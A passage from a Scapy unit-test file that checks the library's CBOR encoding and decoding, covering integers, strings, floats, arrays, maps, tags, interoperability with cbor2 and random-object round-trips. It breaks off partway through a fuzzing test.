b'\x18\x18' = Encode unsigned integer with 2-byte value obj = CBOR_UNSIGNED_INTEGER(1000) bytes(obj) == b'\x19\x03\xe8' = Encode unsigned integer with 4-byte value obj = CBOR_UNSIGNED_INTEGER(1000000) bytes(obj) == b'\x1a\x00\x0f\x42\x40' = Decode small unsigned integer obj, remainder = CBOR_Codecs.CBOR.dec(b'\x00') obj.val == 0 and remainder == b'' = Decode unsigned integer with 1-byte value obj, remainder = CBOR_Codecs.CBOR.dec(b'\x18\x18') obj.val == 24 and remainder == b'' = Decode unsigned integer with 2-byte value obj, remainder = CBOR_Codecs.CBOR.dec(b'\x19\x03\xe8') obj.val == 1000 and remainder == b'' + CBOR Negative Integer = Encode negative integer -1 obj = CBOR_NEGATIVE_INTEGER(-1) bytes(obj) == b'\x20' = Encode negative integer -10 obj = CBOR_NEGATIVE_INTEGER(-10) bytes(obj) == b'\x29' = Encode negative integer -100 obj = CBOR_NEGATIVE_INTEGER(-100) bytes(obj) == b'\x38\x63' = Decode negative integer -1 obj, remainder = CBOR_Codecs.CBOR.dec(b'\x20') obj.val == -1 and remainder == b'' = Decode negative integer -100 obj, remainder = CBOR_Codecs.CBOR.dec(b'\x38\x63') obj.val == -100 and remainder == b'' + CBOR Byte String = Encode empty byte string obj = CBOR_BYTE_STRING(b'') bytes(obj) == b'\x40' = Encode byte string obj = CBOR_BYTE_STRING(b'hello') bytes(obj) == b'\x45hello' = Decode empty byte string obj, remainder = CBOR_Codecs.CBOR.dec(b'\x40') obj.val == b'' and remainder == b'' = Decode byte string obj, remainder = CBOR_Codecs.CBOR.dec(b'\x45hello') obj.val == b'hello' and remainder == b'' + CBOR Text String = Encode empty text string obj = CBOR_TEXT_STRING('') bytes(obj) == b'\x60' = Encode text string obj = CBOR_TEXT_STRING('hello') bytes(obj) == b'\x65hello' = Encode UTF-8 text string obj = CBOR_TEXT_STRING('café') bytes(obj) == b'\x65caf\xc3\xa9' = Decode empty text string obj, remainder = CBOR_Codecs.CBOR.dec(b'\x60') obj.val == '' and remainder == b'' = Decode text string obj, remainder = CBOR_Codecs.CBOR.dec(b'\x65hello') obj.val == 'hello' and remainder == b'' = Decode UTF-8 text string obj, remainder = CBOR_Codecs.CBOR.dec(b'\x65caf\xc3\xa9') obj.val == 'café' and remainder == b'' + CBOR Simple Values = Encode false obj = CBOR_FALSE() bytes(obj) == b'\xf4' = Encode true obj = CBOR_TRUE() bytes(obj) == b'\xf5' = Encode null obj = CBOR_NULL() bytes(obj) == b'\xf6' = Encode undefined obj = CBOR_UNDEFINED() bytes(obj) == b'\xf7' = Decode false obj, remainder = CBOR_Codecs.CBOR.dec(b'\xf4') isinstance(obj, CBOR_FALSE) and obj.val is False and remainder == b'' = Decode true obj, remainder = CBOR_Codecs.CBOR.dec(b'\xf5') isinstance(obj, CBOR_TRUE) and obj.val is True and remainder == b'' = Decode null obj, remainder = CBOR_Codecs.CBOR.dec(b'\xf6') isinstance(obj, CBOR_NULL) and obj.val is None and remainder == b'' = Decode undefined obj, remainder = CBOR_Codecs.CBOR.dec(b'\xf7') isinstance(obj, CBOR_UNDEFINED) and remainder == b'' + CBOR Float = Encode double precision float obj = CBOR_FLOAT(1.5) bytes(obj) == b'\xfb\x3f\xf8\x00\x00\x00\x00\x00\x00' = Decode double precision float obj, remainder = CBOR_Codecs.CBOR.dec(b'\xfb\x3f\xf8\x00\x00\x00\x00\x00\x00') abs(obj.val - 1.5) < 0.0001 and remainder == b'' + CBOR Array = Encode empty array obj = CBOR_ARRAY([]) bytes(obj) == b'\x80' = Encode array with integers from scapy.cbor.cborcodec import CBORcodec_ARRAY obj = CBOR_ARRAY([CBOR_UNSIGNED_INTEGER(1), CBOR_UNSIGNED_INTEGER(2), CBOR_UNSIGNED_INTEGER(3)]) bytes(obj) == b'\x83\x01\x02\x03' = Encode array with Python integers result = CBORcodec_ARRAY.enc([1, 2, 3]) result == b'\x83\x01\x02\x03' = Decode empty array obj, remainder = CBOR_Codecs.CBOR.dec(b'\x80') isinstance(obj, CBOR_ARRAY) and obj.val == [] and remainder == b'' = Decode array with integers obj, remainder = CBOR_Codecs.CBOR.dec(b'\x83\x01\x02\x03') isinstance(obj, CBOR_ARRAY) and len(obj.val) == 3 = Decode nested array obj, remainder = CBOR_Codecs.CBOR.dec(b'\x82\x01\x82\x02\x03') isinstance(obj, CBOR_ARRAY) and len(obj.val) == 2 + CBOR Map = Encode empty map obj = CBOR_MAP({}) bytes(obj) == b'\xa0' = Encode map with string keys from scapy.cbor.cborcodec import CBORcodec_MAP result = CBORcodec_MAP.enc({"a": 1, "b": 2}) result == b'\xa2\x61a\x01\x61b\x02' or result == b'\xa2\x61b\x02\x61a\x01' = Decode empty map obj, remainder = CBOR_Codecs.CBOR.dec(b'\xa0') isinstance(obj, CBOR_MAP) and obj.val == {} and remainder == b'' = Decode map with integer values obj, remainder = CBOR_Codecs.CBOR.dec(b'\xa2\x61a\x01\x61b\x02') isinstance(obj, CBOR_MAP) and len(obj.val) == 2 + CBOR Semantic Tag = Encode semantic tag (datetime) obj = CBOR_SEMANTIC_TAG((0, CBOR_TEXT_STRING("2013-03-21T20:04:00Z"))) bytes(obj) == b'\xc0\x74' + b'2013-03-21T20:04:00Z' = Decode semantic tag obj, remainder = CBOR_Codecs.CBOR.dec(b'\xc0\x74' + b'2013-03-21T20:04:00Z') isinstance(obj, CBOR_SEMANTIC_TAG) and obj.val[0] == 0 and remainder == b'' + CBOR Roundtrip Tests = Roundtrip unsigned integer original = CBOR_UNSIGNED_INTEGER(42) encoded = bytes(original) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) decoded.val == original.val = Roundtrip negative integer original = CBOR_NEGATIVE_INTEGER(-42) encoded = bytes(original) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) decoded.val == original.val = Roundtrip byte string original = CBOR_BYTE_STRING(b'test data') encoded = bytes(original) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) decoded.val == original.val = Roundtrip text string original = CBOR_TEXT_STRING('test string') encoded = bytes(original) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) decoded.val == original.val = Roundtrip array from scapy.cbor.cborcodec import CBORcodec_ARRAY encoded = CBORcodec_ARRAY.enc([1, 2, 3, 4, 5]) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_ARRAY) and len(decoded.val) == 5 = Roundtrip map from scapy.cbor.cborcodec import CBORcodec_MAP encoded = CBORcodec_MAP.enc({"x": 100, "y": 200}) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_MAP) and len(decoded.val) == 2 + CBOR Complex Structures = Encode nested structure from scapy.cbor.cborcodec import CBORcodec_MAP input_dict = { "name": "John", "age": 30, "active": True } encoded = CBORcodec_MAP.enc(input_dict) len(encoded) > 0 = Decode nested structure encoded_data = b'\xa3\x64name\x64John\x63age\x18\x1e\x66active\xf5' obj, remainder = CBOR_Codecs.CBOR.dec(encoded_data) isinstance(obj, CBOR_MAP) and remainder == b'' + CBOR Error Handling = Safe decode with invalid data obj, remainder = CBOR_Codecs.CBOR.safedec(b'\xff\xff\xff') isinstance(obj, CBOR_DECODING_ERROR) = Decode with insufficient bytes for length try: obj, remainder = CBOR_Codecs.CBOR.dec(b'\x18') False except: True = Decode byte string with insufficient data try: obj, remainder = CBOR_Codecs.CBOR.dec(b'\x45hel') False except: True ########### CBOR Interoperability Tests with cbor2 ################# # These tests verify interoperability between scapy's CBOR implementation # and the standard cbor2 library. cbor2 is ONLY used in tests, not in # the scapy implementation. # # NOTE: These tests require cbor2 to be installed: pip install cbor2 + CBOR Interoperability - Basic Types (Scapy encode, cbor2 decode) = Check cbor2 availability try: import cbor2 cbor2_available = True except ImportError: cbor2_available = False cbor2_available = Interop: Scapy encode unsigned integer, cbor2 decode import cbor2 obj = CBOR_UNSIGNED_INTEGER(42) encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded == 42 = Interop: Scapy encode negative integer, cbor2 decode obj = CBOR_NEGATIVE_INTEGER(-100) encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded == -100 = Interop: Scapy encode text string, cbor2 decode obj = CBOR_TEXT_STRING("Hello, World!") encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded == "Hello, World!" = Interop: Scapy encode UTF-8 text string, cbor2 decode obj = CBOR_TEXT_STRING("Café ☕") encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded == "Café ☕" = Interop: Scapy encode byte string, cbor2 decode obj = CBOR_BYTE_STRING(b'\x01\x02\x03\x04\x05') encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded == b'\x01\x02\x03\x04\x05' = Interop: Scapy encode true, cbor2 decode obj = CBOR_TRUE() encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded is True = Interop: Scapy encode false, cbor2 decode obj = CBOR_FALSE() encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded is False = Interop: Scapy encode null, cbor2 decode obj = CBOR_NULL() encoded = bytes(obj) decoded = cbor2.loads(encoded) decoded is None = Interop: Scapy encode undefined, cbor2 decode obj = CBOR_UNDEFINED() encoded = bytes(obj) decoded = cbor2.loads(encoded) from cbor2 import undefined decoded is undefined = Interop: Scapy encode float, cbor2 decode obj = CBOR_FLOAT(3.14159) encoded = bytes(obj) decoded = cbor2.loads(encoded) abs(decoded - 3.14159) < 0.0001 + CBOR Interoperability - Collections (Scapy encode, cbor2 decode) = Interop: Scapy encode array, cbor2 decode from scapy.cbor.cborcodec import CBORcodec_ARRAY encoded = CBORcodec_ARRAY.enc([1, 2, 3, 4, 5]) decoded = cbor2.loads(encoded) decoded == [1, 2, 3, 4, 5] = Interop: Scapy encode nested array, cbor2 decode encoded = CBORcodec_ARRAY.enc([1, [2, 3], [4, [5, 6]]]) decoded = cbor2.loads(encoded) decoded == [1, [2, 3], [4, [5, 6]]] = Interop: Scapy encode map, cbor2 decode from scapy.cbor.cborcodec import CBORcodec_MAP encoded = CBORcodec_MAP.enc({"a": 1, "b": 2, "c": 3}) decoded = cbor2.loads(encoded) decoded == {"a": 1, "b": 2, "c": 3} = Interop: Scapy encode complex map, cbor2 decode data = {"name": "Alice", "age": 30, "active": True, "tags": ["user", "admin"]} encoded = CBORcodec_MAP.enc(data) decoded = cbor2.loads(encoded) decoded == data = Interop: Scapy encode mixed array, cbor2 decode encoded = CBORcodec_ARRAY.enc([42, "hello", True, None, 3.14, [1, 2]]) decoded = cbor2.loads(encoded) len(decoded) == 6 and decoded[0] == 42 and decoded[1] == "hello" + CBOR Interoperability - Basic Types (cbor2 encode, Scapy decode) = Interop: cbor2 encode unsigned integer, Scapy decode encoded = cbor2.dumps(42) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val == 42 and isinstance(obj, CBOR_UNSIGNED_INTEGER) = Interop: cbor2 encode negative integer, Scapy decode encoded = cbor2.dumps(-100) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val == -100 and isinstance(obj, CBOR_NEGATIVE_INTEGER) = Interop: cbor2 encode text string, Scapy decode encoded = cbor2.dumps("Hello, World!") obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val == "Hello, World!" and isinstance(obj, CBOR_TEXT_STRING) = Interop: cbor2 encode UTF-8 text string, Scapy decode encoded = cbor2.dumps("Café ☕") obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val == "Café ☕" and isinstance(obj, CBOR_TEXT_STRING) = Interop: cbor2 encode byte string, Scapy decode encoded = cbor2.dumps(b'\x01\x02\x03\x04\x05') obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val == b'\x01\x02\x03\x04\x05' and isinstance(obj, CBOR_BYTE_STRING) = Interop: cbor2 encode true, Scapy decode encoded = cbor2.dumps(True) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val is True and isinstance(obj, CBOR_TRUE) = Interop: cbor2 encode false, Scapy decode encoded = cbor2.dumps(False) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val is False and isinstance(obj, CBOR_FALSE) = Interop: cbor2 encode null, Scapy decode encoded = cbor2.dumps(None) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) obj.val is None and isinstance(obj, CBOR_NULL) = Interop: cbor2 encode undefined, Scapy decode from cbor2 import CBORSimpleValue, undefined encoded = cbor2.dumps(undefined) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_UNDEFINED) = Interop: cbor2 encode float, Scapy decode encoded = cbor2.dumps(3.14159) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) abs(obj.val - 3.14159) < 0.0001 and isinstance(obj, CBOR_FLOAT) + CBOR Interoperability - Collections (cbor2 encode, Scapy decode) = Interop: cbor2 encode array, Scapy decode encoded = cbor2.dumps([1, 2, 3, 4, 5]) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_ARRAY) and len(obj.val) == 5 = Interop: cbor2 encode nested array, Scapy decode encoded = cbor2.dumps([1, [2, 3], [4, [5, 6]]]) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_ARRAY) and len(obj.val) == 3 = Interop: cbor2 encode map, Scapy decode encoded = cbor2.dumps({"a": 1, "b": 2, "c": 3}) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_MAP) and len(obj.val) == 3 = Interop: cbor2 encode complex map, Scapy decode data = {"name": "Alice", "age": 30, "active": True} encoded = cbor2.dumps(data) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_MAP) and "name" in obj.val = Interop: cbor2 encode mixed array, Scapy decode encoded = cbor2.dumps([42, "hello", True, None, 3.14]) obj, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_ARRAY) and len(obj.val) == 5 + CBOR Interoperability - Roundtrip Tests = Interop roundtrip: integer through cbor2 original_val = 12345 scapy_obj = CBOR_UNSIGNED_INTEGER(original_val) scapy_encoded = bytes(scapy_obj) cbor2_decoded = cbor2.loads(scapy_encoded) cbor2_encoded = cbor2.dumps(cbor2_decoded) scapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded) scapy_decoded.val == original_val = Interop roundtrip: string through cbor2 original_val = "Test String 测试" scapy_obj = CBOR_TEXT_STRING(original_val) scapy_encoded = bytes(scapy_obj) cbor2_decoded = cbor2.loads(scapy_encoded) cbor2_encoded = cbor2.dumps(cbor2_decoded) scapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded) scapy_decoded.val == original_val = Interop roundtrip: array through cbor2 original_val = [1, "two", 3.0, True, None] scapy_encoded = CBORcodec_ARRAY.enc(original_val) cbor2_decoded = cbor2.loads(scapy_encoded) cbor2_encoded = cbor2.dumps(cbor2_decoded) scapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded) isinstance(scapy_decoded, CBOR_ARRAY) and len(scapy_decoded.val) == 5 = Interop roundtrip: map through cbor2 original_val = {"int": 42, "str": "value", "bool": True, "null": None} scapy_encoded = CBORcodec_MAP.enc(original_val) cbor2_decoded = cbor2.loads(scapy_encoded) cbor2_encoded = cbor2.dumps(cbor2_decoded) scapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded) isinstance(scapy_decoded, CBOR_MAP) and len(scapy_decoded.val) == 4 + CBOR Interoperability - Edge Cases = Interop: Large unsigned integer large_int = 18446744073709551615 # 2^64 - 1 encoded = cbor2.dumps(large_int) obj, _ = CBOR_Codecs.CBOR.dec(encoded) obj.val == large_int = Interop: Very negative integer neg_int = -18446744073709551616 # -(2^64) encoded = cbor2.dumps(neg_int) obj, _ = CBOR_Codecs.CBOR.dec(encoded) obj.val == neg_int = Interop: Empty collections empty_array = cbor2.dumps([]) obj1, _ = CBOR_Codecs.CBOR.dec(empty_array) empty_map = cbor2.dumps({}) obj2, _ = CBOR_Codecs.CBOR.dec(empty_map) isinstance(obj1, CBOR_ARRAY) and len(obj1.val) == 0 and isinstance(obj2, CBOR_MAP) and len(obj2.val) == 0 = Interop: Deeply nested structure deep = {"level1": {"level2": {"level3": {"level4": [1, 2, 3]}}}} encoded = cbor2.dumps(deep) obj, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(obj, CBOR_MAP) = Interop: Special float values (infinity) import math pos_inf_encoded = cbor2.dumps(math.inf) pos_inf_obj, _ = CBOR_Codecs.CBOR.dec(pos_inf_encoded) neg_inf_encoded = cbor2.dumps(-math.inf) neg_inf_obj, _ = CBOR_Codecs.CBOR.dec(neg_inf_encoded) math.isinf(pos_inf_obj.val) and math.isinf(neg_inf_obj.val) = Interop: Special float value (NaN) nan_encoded = cbor2.dumps(math.nan) nan_obj, _ = CBOR_Codecs.CBOR.dec(nan_encoded) math.isnan(nan_obj.val) = Interop: Zero values zero_int = cbor2.dumps(0) zero_float = cbor2.dumps(0.0) obj1, _ = CBOR_Codecs.CBOR.dec(zero_int) obj2, _ = CBOR_Codecs.CBOR.dec(zero_float) obj1.val == 0 and obj2.val == 0.0 ########### Additional Tests Adapted from PR #4875 ################### # These tests verify specific encoding sizes and edge cases + CBOR Encoding Sizes - Unsigned Integers = uint encoding size 0 (argument in initial byte) obj = CBOR_UNSIGNED_INTEGER(0x12) data = bytes(obj) data == bytes.fromhex('12') = uint encoding size 1 (1-byte argument follows) obj = CBOR_UNSIGNED_INTEGER(0x34) data = bytes(obj) data == bytes.fromhex('1834') = uint encoding size 2 (2-byte argument follows) obj = CBOR_UNSIGNED_INTEGER(0x1234) data = bytes(obj) data == bytes.fromhex('191234') = uint encoding size 4 (4-byte argument follows) obj = CBOR_UNSIGNED_INTEGER(0x12345678) data = bytes(obj) data == bytes.fromhex('1a12345678') = uint encoding size 8 (8-byte argument follows) obj = CBOR_UNSIGNED_INTEGER(0x1234567812345678) data = bytes(obj) data == bytes.fromhex('1b1234567812345678') = uint decoding size 0 data = bytes.fromhex('12') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 18 and remainder == b'' = uint decoding size 1 data = bytes.fromhex('1834') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 0x34 and remainder == b'' = uint decoding size 2 data = bytes.fromhex('191234') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 0x1234 and remainder == b'' = uint decoding size 4 data = bytes.fromhex('1a12345678') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 0x12345678 and remainder == b'' = uint decoding size 8 data = bytes.fromhex('1b1234567812345678') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 0x1234567812345678 and remainder == b'' + CBOR Encoding Sizes - Negative Integers = nint encoding size 0 obj = CBOR_NEGATIVE_INTEGER(-0x13) data = bytes(obj) data == bytes.fromhex('32') = nint decoding size 0 data = bytes.fromhex('32') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == -0x13 and isinstance(obj, CBOR_NEGATIVE_INTEGER) and remainder == b'' = nint decoding size 2 data = bytes.fromhex('391234') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == (-0x1234 - 1) and isinstance(obj, CBOR_NEGATIVE_INTEGER) and remainder == b'' + CBOR Byte String Edge Cases = bstr encoding with specific content obj = CBOR_BYTE_STRING(b'hi') data = bytes(obj) data == bytes.fromhex('426869') = bstr decoding with specific content data = bytes.fromhex('426869') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == b'hi' and isinstance(obj, CBOR_BYTE_STRING) and remainder == b'' = bstr longer content (24 bytes) content = b'longlonglonglonglonglong' obj = CBOR_BYTE_STRING(content) data = bytes(obj) # Should use 1-byte length encoding (0x58 = major type 2, additional info 24) data[:2] == bytes.fromhex('5818') and data[2:] == content = bstr decoding longer content data = bytes.fromhex('58186c6f6e676c6f6e676c6f6e676c6f6e676c6f6e676c6f6e67') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == b'longlonglonglonglonglong' and remainder == b'' + CBOR Text String Edge Cases = tstr encoding with specific content obj = CBOR_TEXT_STRING('hi') data = bytes(obj) data == bytes.fromhex('626869') = tstr decoding with specific content data = bytes.fromhex('626869') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 'hi' and isinstance(obj, CBOR_TEXT_STRING) and remainder == b'' = tstr longer content (24 chars) content = 'longlonglonglonglonglong' obj = CBOR_TEXT_STRING(content) data = bytes(obj) # Should use 1-byte length encoding (0x78 = major type 3, additional info 24) data[:2] == bytes.fromhex('7818') and data[2:] == content.encode('utf8') = tstr decoding longer content data = bytes.fromhex('78186c6f6e676c6f6e676c6f6e676c6f6e676c6f6e676c6f6e67') obj, remainder = CBOR_Codecs.CBOR.dec(data) obj.val == 'longlonglonglonglonglong' and remainder == b'' + CBOR Array Specific Encodings = array encoding with mixed integer types from scapy.cbor.cborcodec import CBORcodec_ARRAY # Array with positive 10 and negative 20 encoded = CBORcodec_ARRAY.enc([10, -20]) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_ARRAY) and len(decoded.val) == 2 = array decoding specific encoding data = bytes.fromhex('820A33') # array(2): [10, -20] obj, remainder = CBOR_Codecs.CBOR.dec(data) isinstance(obj, CBOR_ARRAY) and len(obj.val) == 2 and remainder == b'' + CBOR Map Specific Encodings = map encoding with integer keys from scapy.cbor.cborcodec import CBORcodec_MAP encoded = CBORcodec_MAP.enc({10: -20}) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_MAP) and len(decoded.val) == 1 = map decoding specific encoding data = bytes.fromhex('A10A33') # map(1): {10: -20} obj, remainder = CBOR_Codecs.CBOR.dec(data) isinstance(obj, CBOR_MAP) and len(obj.val) == 1 and remainder == b'' + CBOR Float Specific Encodings = float64 encoding specific value obj = CBOR_FLOAT(1.5e20) data = bytes(obj) data == bytes.fromhex('FB442043561A882930') = float64 decoding specific value data = bytes.fromhex('FB442043561A882930') obj, remainder = CBOR_Codecs.CBOR.dec(data) isinstance(obj, CBOR_FLOAT) and obj.val == 1.5e20 and remainder == b'' + CBOR Multiple Item Decoding = decode multiple items in sequence data = bytes.fromhex('010203') # Three unsigned integers: 1, 2, 3 obj1, remainder1 = CBOR_Codecs.CBOR.dec(data) obj2, remainder2 = CBOR_Codecs.CBOR.dec(remainder1) obj3, remainder3 = CBOR_Codecs.CBOR.dec(remainder2) obj1.val == 1 and obj2.val == 2 and obj3.val == 3 and remainder3 == b'' = decode nested array with specific encoding data = bytes.fromhex('8201820203') # array(2): [1, array(2): [2, 3]] obj, remainder = CBOR_Codecs.CBOR.dec(data) isinstance(obj, CBOR_ARRAY) and len(obj.val) == 2 and remainder == b'' and isinstance(obj.val[1], CBOR_ARRAY) + CBOR Boundary Value Tests = encode maximum value that fits in each size # Maximum for size 0 (0-23) obj = CBOR_UNSIGNED_INTEGER(23) bytes(obj) == bytes.fromhex('17') = encode minimum value needing size 1 obj = CBOR_UNSIGNED_INTEGER(24) bytes(obj) == bytes.fromhex('1818') = encode maximum value for size 1 obj = CBOR_UNSIGNED_INTEGER(255) bytes(obj) == bytes.fromhex('18ff') = encode minimum value needing size 2 obj = CBOR_UNSIGNED_INTEGER(256) bytes(obj) == bytes.fromhex('190100') = negative integer boundary at -24 obj = CBOR_NEGATIVE_INTEGER(-24) bytes(obj) == bytes.fromhex('37') = negative integer boundary at -25 obj = CBOR_NEGATIVE_INTEGER(-25) bytes(obj) == bytes.fromhex('3818') + CBOR Empty Container Tests = encode empty array from scapy.cbor.cborcodec import CBORcodec_ARRAY encoded = CBORcodec_ARRAY.enc([]) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_ARRAY) and len(decoded.val) == 0 = encode empty map from scapy.cbor.cborcodec import CBORcodec_MAP encoded = CBORcodec_MAP.enc({}) decoded, _ = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_MAP) and len(decoded.val) == 0 = encode empty byte string obj = CBOR_BYTE_STRING(b'') data = bytes(obj) data == bytes.fromhex('40') = encode empty text string obj = CBOR_TEXT_STRING('') data = bytes(obj) data == bytes.fromhex('60') ########### CBOR Fuzzing / Random Object Tests #################### + CBOR Random Object Generation = Create RandCBORObject from scapy.cbor import RandCBORObject rand = RandCBORObject() isinstance(rand, RandCBORObject) = Generate random CBOR unsigned integer from scapy.cbor import RandCBORObject, CBOR_UNSIGNED_INTEGER rand = RandCBORObject(objlist=[CBOR_UNSIGNED_INTEGER]) obj = rand._fix() isinstance(obj, CBOR_UNSIGNED_INTEGER) and isinstance(obj.val, int) and obj.val >= 0 = Generate random CBOR negative integer from scapy.cbor import RandCBORObject, CBOR_NEGATIVE_INTEGER rand = RandCBORObject(objlist=[CBOR_NEGATIVE_INTEGER]) obj = rand._fix() isinstance(obj, CBOR_NEGATIVE_INTEGER) and isinstance(obj.val, int) and obj.val < 0 = Generate random CBOR byte string from scapy.cbor import RandCBORObject, CBOR_BYTE_STRING rand = RandCBORObject(objlist=[CBOR_BYTE_STRING]) obj = rand._fix() isinstance(obj, CBOR_BYTE_STRING) and isinstance(obj.val, bytes) = Generate random CBOR text string from scapy.cbor import RandCBORObject, CBOR_TEXT_STRING rand = RandCBORObject(objlist=[CBOR_TEXT_STRING]) obj = rand._fix() isinstance(obj, CBOR_TEXT_STRING) and isinstance(obj.val, str) and len(obj.val) > 0 = Generate random CBOR array from scapy.cbor import RandCBORObject, CBOR_ARRAY rand = RandCBORObject(objlist=[CBOR_ARRAY]) obj = rand._fix() isinstance(obj, CBOR_ARRAY) and isinstance(obj.val, list) = Generate random CBOR map from scapy.cbor import RandCBORObject, CBOR_MAP rand = RandCBORObject(objlist=[CBOR_MAP]) obj = rand._fix() isinstance(obj, CBOR_MAP) and isinstance(obj.val, dict) = Generate random CBOR boolean (false) from scapy.cbor import RandCBORObject, CBOR_FALSE rand = RandCBORObject(objlist=[CBOR_FALSE]) obj = rand._fix() isinstance(obj, CBOR_FALSE) and obj.val == False = Generate random CBOR boolean (true) from scapy.cbor import RandCBORObject, CBOR_TRUE rand = RandCBORObject(objlist=[CBOR_TRUE]) obj = rand._fix() isinstance(obj, CBOR_TRUE) and obj.val == True = Generate random CBOR null from scapy.cbor import RandCBORObject, CBOR_NULL rand = RandCBORObject(objlist=[CBOR_NULL]) obj = rand._fix() isinstance(obj, CBOR_NULL) and obj.val is None = Generate random CBOR undefined from scapy.cbor import RandCBORObject, CBOR_UNDEFINED rand = RandCBORObject(objlist=[CBOR_UNDEFINED]) obj = rand._fix() isinstance(obj, CBOR_UNDEFINED) and obj.val is None = Generate random CBOR float from scapy.cbor import RandCBORObject, CBOR_FLOAT rand = RandCBORObject(objlist=[CBOR_FLOAT]) obj = rand._fix() isinstance(obj, CBOR_FLOAT) and isinstance(obj.val, float) + CBOR Random Object Encoding/Decoding = Encode and decode random unsigned integer from scapy.cbor import RandCBORObject, CBOR_UNSIGNED_INTEGER, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_UNSIGNED_INTEGER]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_UNSIGNED_INTEGER) and remainder == b'' and decoded.val == obj.val = Encode and decode random text string from scapy.cbor import RandCBORObject, CBOR_TEXT_STRING, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_TEXT_STRING]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_TEXT_STRING) and remainder == b'' and decoded.val == obj.val = Encode and decode random byte string from scapy.cbor import RandCBORObject, CBOR_BYTE_STRING, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_BYTE_STRING]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_BYTE_STRING) and remainder == b'' and decoded.val == obj.val = Encode and decode random array from scapy.cbor import RandCBORObject, CBOR_ARRAY, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_ARRAY]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_ARRAY) and remainder == b'' and len(decoded.val) == len(obj.val) = Encode and decode random map from scapy.cbor import RandCBORObject, CBOR_MAP, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_MAP]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_MAP) and remainder == b'' and len(decoded.val) == len(obj.val) = Encode and decode random float from scapy.cbor import RandCBORObject, CBOR_FLOAT, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_FLOAT]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_FLOAT) and remainder == b'' + CBOR Random Mixed Types = Generate multiple random objects of different types from scapy.cbor import RandCBORObject rand = RandCBORObject() objects = [rand._fix() for _ in range(10)] len(objects) == 10 and all(hasattr(obj, 'val') for obj in objects) = Encode and decode multiple random objects from scapy.cbor import RandCBORObject, CBOR_Codecs rand = RandCBORObject() success_count = 0 for _ in range(20): obj = rand._fix() try: encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) if remainder == b'': success_count += 1 except: pass success_count >= 18 = Random nested arrays encode/decode correctly from scapy.cbor import RandCBORObject, CBOR_ARRAY, CBOR_Codecs rand = RandCBORObject(objlist=[CBOR_ARRAY]) obj = rand._fix() encoded = bytes(obj) decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) isinstance(decoded, CBOR_ARRAY) and remainder == b'' = Random nested maps encode/decode correctly from scapy.cbor import RandCBORObject, CBOR_MAP, CBOR_Codecs rand = 